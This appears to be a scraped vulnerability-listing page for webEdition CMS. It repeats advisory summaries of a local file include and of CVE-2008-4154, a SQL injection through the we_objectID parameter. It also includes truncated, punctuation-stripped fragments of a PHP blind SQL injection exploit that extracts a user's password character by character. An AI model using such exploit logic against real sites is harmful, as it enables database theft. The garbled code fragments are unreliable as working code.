webEdition CMS 'WE_LANGUAGE' Parameter Local File Include Vulnerability

webEdition CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks. webEdition CMS...

Sql injection

SQL injection vulnerability in living-e webEdition CMS allows remote attackers to execute arbitrary SQL commands via the weobjectID parameter...

CVE-2008-4154

SQL injection vulnerability in living-e webEdition CMS allows remote attackers to execute arbitrary SQL commands via the weobjectID parameter...

CVE-2008-4154

CVE-2008-4154 describes an SQL injection in living-e webEdition CMS exploitable via the we_objectID parameter. The vulnerability allows remote attackers to manipulate SQL commands, with the affected component being the webEdition CMS and the root cause being improper handling of the we_objectID i...

CVE-2008-4154

SQL injection vulnerability in living-e webEdition CMS allows remote attackers to execute arbitrary SQL commands via the weobjectID parameter...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' WebEdition CMS - Blind SQL Injection Exploit Vulnerability discovered by: LidlosesAuge Exploit coded by: LidlosesAuge Special Greetz to: H4x0r007 who sent me a vulnerable Page Greetz to: -=Player=- , Suicide, g4ms3, enco,...

webeditioncms-sql.txt

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc $t-1 $laenge = strlenfilegetcontents$url."'and+asciisubstringsel...

webEdition CMS - 'we_objectID' Blind SQL Injection

php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."'and+1=1/"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."'and+1=0/"; $t = abs100-$w/$r100; echo "Password: "; for $j = ...

webEdition CMS - we_objectID Blind SQL Injection

webEdition CMS - weobjectID Blind SQL Injection php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc 1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."'and+1=1/"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."'and+1=0/"; $t...

webEdition CMS (we_objectID) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== webEdition CMS weobjectID Blind SQL Injection Exploit ======================================================== php '.$argv0.' http://www.site.com/en/.php?weobjectID=21 1 '; if $argc ...